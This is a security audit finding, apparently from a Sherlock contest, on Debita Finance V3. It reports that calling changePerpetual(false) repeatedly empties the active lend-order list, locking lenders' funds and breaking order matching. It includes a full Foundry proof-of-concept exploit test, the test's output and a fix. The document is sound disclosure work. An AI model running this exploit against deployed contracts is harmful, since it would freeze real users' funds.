Calm Fern Parrot

High

# Attacker can lock all lenders funds and disable the lending and borrowing matching

### Summary

Attacker can reduce `DLOFactory:activeOrdersCount` to zero, leading to lock of all lenders funds, because of the revert when canceling and  the lending order. And delete the `DLOFactory:allActiveLendOrders` which can cause the matching mechanism for borrowers and lenders to break. 

### Vulnerability Details

If in lend order the `lendInformation.availableAmount` is zero and `isActive` is true. Then the attacker can call `DLOImplementation:changePerpetual()` with `false` multiple times to reduce  `activeOrdersCount` to zero and delete `allActiveLendOrders`addresses. Leading to lock of all lenders funds and breaking of the matching mechanism. 

### Attack Implementation

Before we implement the attack we would need to populate the `allActiveLendOrders` with addresses and increase `activeOrdersCount`. After `allActiveLendOrders` is populated with hundred addresses and the `activeOrdersCount` is equal to hundred or any other number of lenders the attack would proceed as follows:

1. Attacker creates specific lend perpetual order and specific borrow order to match the attackers lend perpetual order. 
2. Attacker or Debita bot calls the `matchOffersV3()`  to match specific attacker orders. 
3. The `acceptLendingOffer()` is called by aggregator with `amount` same as `lendInformation.availableAmount` because of the specific borrow order. Therefore `lendInformation.availableAmount` will be zero.
4. The deletion of the order won’t be called in `acceptLendingOffer()` because the lending offer is perpetual and the attacker lending order will remain active.
5. Now the attacker can call the `changePerpetual()`with `false` multiple times. And first time the `changePerpetual(false)` is called the attacker will delete attackers lend order. And every other time the attacker calls `changePerpetual(false)` will delete 0th address user and replace the last user address with 0th address. 
6. The attacker can keep calling `changePerpetual(false)` until all address from `allActiveLendOrders` ****are deleted and `activeOrdersCount` is reduced to zero. 

Attacker successfully locked all the lenders funds, because if a lender tries to cancel lend order and get the funds back the deletion of the lend order will fail. The function will fail do to the underflow of in deletion of a lend order. The underflow will occur because in `allActiveLendOrders[index] = allActiveLendOrders[activeOrdersCount - 1];`the `activeOrdersCount` will be zero. And also the Debita bot won’t be able to match the lend and borrow orders because addresses from `allActiveLendOrders` are deleted.  

### Proof of Concept

Following test creates a hundred user lend orders. And then the attacker deletes all hundred addresses from `allActiveLendOrders` and reduces `activeOrdersCount` to zero. Leading to lock of user funds and breaking the matching mechanism.   

```solidity
pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import {veNFTEqualizer} from "@contracts/Non-Fungible-Receipts/veNFTS/Equalizer/Receipt-veNFT.sol";

import {veNFTVault} from "@contracts/Non-Fungible-Receipts/veNFTS/Equalizer/veNFTEqualizer.sol";
import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DynamicData} from "../interfaces/getDynamicData.sol";
// import ERC20
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";

// run test with: forge test --match-path test/vidus/Perpetual.t.sol -vvv
contract DebitaAggregatorTest is Test, DynamicData {
    DBOFactory public DBOFactoryContract;
    DLOFactory public DLOFactoryContract;
    Ownerships public ownershipsContract;
    DebitaIncentives public incentivesContract;
    DebitaV3Aggregator public DebitaV3AggregatorContract;
    auctionFactoryDebita public auctionFactoryDebitaContract;
    DynamicData public allDynamicData;

    DLOImplementation public LendOrder;
    DBOImplementation public BorrowOrder;
    ERC20Mock public AEROContract;
    address AERO;
    address attacker; 
    address user; 
    address lastUserLendOrder;

    DLOImplementation.LendInfo public info;

    function setUp() public {
        attacker = makeAddr("attacker");
        user = makeAddr("user");

        allDynamicData = new DynamicData();
        ownershipsContract = new Ownerships();
        incentivesContract = new DebitaIncentives();
        DBOImplementation borrowOrderImplementation = new DBOImplementation();
        DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));
        DLOImplementation proxyImplementation = new DLOImplementation();
        DLOFactoryContract = new DLOFactory(address(proxyImplementation));
        auctionFactoryDebitaContract = new auctionFactoryDebita();
        AEROContract = new ERC20Mock();
        deal(address(AEROContract), attacker, 1000e18, true);
        AERO = address(AEROContract);
        DebitaV3Loan loanInstance = new DebitaV3Loan();
        DebitaV3AggregatorContract = new DebitaV3Aggregator(
            address(DLOFactoryContract),
            address(DBOFactoryContract),
            address(incentivesContract),
            address(ownershipsContract),
            address(auctionFactoryDebitaContract),
            address(loanInstance)
        );

        ownershipsContract.setDebitaContract(
            address(DebitaV3AggregatorContract)
        );
        auctionFactoryDebitaContract.setAggregator(
            address(DebitaV3AggregatorContract)
        );
        DLOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );
        DBOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        incentivesContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

    }

    function testAttack() public {
        
        uint amountOfOrders = 100;
        // user creates hundred lend orders to populate all active lend orders mapping 
        // we do the following to simulate real world scenarion with hundred of active lend orders in the protocol

        console.log("---------user creates hundred lend orders--------");
        vm.startPrank(user);
         for (uint i = 0; i < amountOfOrders; i++) {
            userCreateLendOrder();
        }
        vm.stopPrank();

        console.log("Length of all active lend orders before the attack:", DLOFactory(DLOFactoryContract).activeOrdersCount());
        console.log("First active lend order with index 0 before the attack:", DLOFactory(DLOFactoryContract).allActiveLendOrders(0));
        console.log("Last active lend order with index 99 before the attack:", DLOFactory(DLOFactoryContract).allActiveLendOrders(99), "\n");

        vm.startPrank(attacker);
        console.log("-------------------attack------------------------");
        // here attacker creates specific lend perpetual order and specific borrow order.
        // attecker creates orders and matches orders in specific way to make the lendInformation.availableAmount equal to zero
        prepareAttack();

        // attacker deletes all user lend orders from all active lend order mapping using changePerpetual(false)
        uint length = DLOFactory(DLOFactoryContract).activeOrdersCount();
         for (uint i = 0; i < length; i++) {
            LendOrder.changePerpetual(false);
        }

        vm.stopPrank();

        console.log("Length of all active lend orders after the attack:", DLOFactory(DLOFactoryContract).activeOrdersCount());
        console.log("First active lend order with index 0 after the attack:", DLOFactory(DLOFactoryContract).allActiveLendOrders(0));
        console.log("Last active lend order with index 99 after the attack:", DLOFactory(DLOFactoryContract).allActiveLendOrders(99), "\n");

        vm.startPrank(user);
        console.log("----------user try to withdraw funds-------------");

        // reverts happen do to the 
        vm.expectRevert(abi.encodeWithSelector(bytes4(keccak256("Panic(uint256)")), 0x11));
        DLOImplementation(lastUserLendOrder).cancelOffer();
        console.log("Cancel offer function on user lend order reverts with panic: arithmetic underflow or overflow (0x11) error");

        vm.stopPrank();

    }

    function prepareAttack() public {

        deal(AERO, attacker, 1000e18, false);
        
        IERC20(AERO).approve(address(DBOFactoryContract), 1000e18);
        IERC20(AERO).approve(address(DLOFactoryContract), 1000e18);

        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        ratio[0] = 1e18;
        oraclesPrinciples[0] = address(0x0);
        acceptedPrinciples[0] = AERO;
        oraclesActivated[0] = false;
        ltvs[0] = 0;

        // attacker creates specific borrow order 
        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
            oraclesActivated, 
            ltvs,
            1000,
            864000,
            acceptedPrinciples,
            AERO,
            false,
            0, 
            oraclesPrinciples,
            ratio,
            address(0x0), 
            10e18 
        );

        // attacker creates specific perpetual lend order 
        address lendOrderAddress = DLOFactoryContract.createLendOrder(
            true,
            oraclesActivated, 
            true, 
            ltvs, 
            1000,
            8640000, 
            86400,
            acceptedPrinciples,
            AERO,
            oraclesPrinciples, 
            ratio,
            address(0x0),
            5e18
        );

        LendOrder = DLOImplementation(lendOrderAddress);

        BorrowOrder = DBOImplementation(borrowOrderAddress);

        address[] memory lendOrders = allDynamicData.getDynamicAddressArray(1);
        uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(
            1
        );
        uint[] memory porcentageOfRatioPerLendOrder = allDynamicData
            .getDynamicUintArray(1);
        address[] memory principles = allDynamicData.getDynamicAddressArray(1);
        uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexForCollateral_LendOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexPrinciple_LendOrder = allDynamicData
            .getDynamicUintArray(1);
        indexForPrinciple_BorrowOrder[0] = 0;
        indexForCollateral_LendOrder[0] = 0;
        indexPrinciple_LendOrder[0] = 0;

        lendOrders[0] = address(LendOrder);
        lendAmountPerOrder[0] = 5e18;
        porcentageOfRatioPerLendOrder[0] = 10000;
        principles[0] = AERO;

        // attacker matches specific orders
        address loan = DebitaV3AggregatorContract.matchOffersV3(
            lendOrders,
            lendAmountPerOrder,
            porcentageOfRatioPerLendOrder,
            address(BorrowOrder),
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

    }

    function userCreateLendOrder() public {

        deal(AERO, user, 10e18, false);
        
        IERC20(AERO).approve(address(DBOFactoryContract), 1000e18);
        IERC20(AERO).approve(address(DLOFactoryContract), 1000e18);

        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        ratio[0] = 1e18;
        oraclesPrinciples[0] = address(0x0);
        acceptedPrinciples[0] = AERO;
        oraclesActivated[0] = false;
        ltvs[0] = 0;

        // user create lend order 
        lastUserLendOrder = DLOFactoryContract.createLendOrder(
            true, 
            oraclesActivated, 
            true, 
            ltvs, 
            1000, 
            8640000, 
            86400,
            acceptedPrinciples,
            AERO,
            oraclesPrinciples, 
            ratio, 
            address(0x0), 
            5e18 
        );
        
    }
}
```

Output:

```solidity
  ---------user creates hundred lend orders--------
  Length of all active lend orders before the attack: 100
  First active lend order with index 0 before the attack: 0x45C92C2Cd0dF7B2d705EF12CfF77Cb0Bc557Ed22
  Last active lend order with index 99 before the attack: 0x587Fa1b6C0c1389Ea2929aB2270F8D616C0d5916
  
  -------------------attack------------------------
  Length of all active lend orders after the attack: 0
  First active lend order with index 0 after the attack: 0x0000000000000000000000000000000000000000
  Last active lend order with index 99 after the attack: 0x0000000000000000000000000000000000000000
  
  ----------user try to withdraw funds-------------
  Cancel offer function on user lend order reverts with panic: arithmetic underflow or overflow (0x11) error
```

As we can see form the output that the attacker successfully delete all active lend orders from the mapping and reduced the length to zero.

### Tool Used

Manual Review

### Lines of Concern

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L178-L188

### Recommendation

Set `isActive` to `false` when deleting the lend order in `changePerpetual()` :
```solidity
    function changePerpetual(bool _perpetual) public onlyOwner nonReentrant {
        require(isActive, "Offer is not active");

        lendInformation.perpetual = _perpetual;
        if (_perpetual == false && lendInformation.availableAmount == 0) {
+           isActive = false;
            IDLOFactory(factoryContract).emitDelete(address(this));
            IDLOFactory(factoryContract).deleteOrder(address(this));
        } else {
            IDLOFactory(factoryContract).emitUpdate(address(this));
        }
    }
```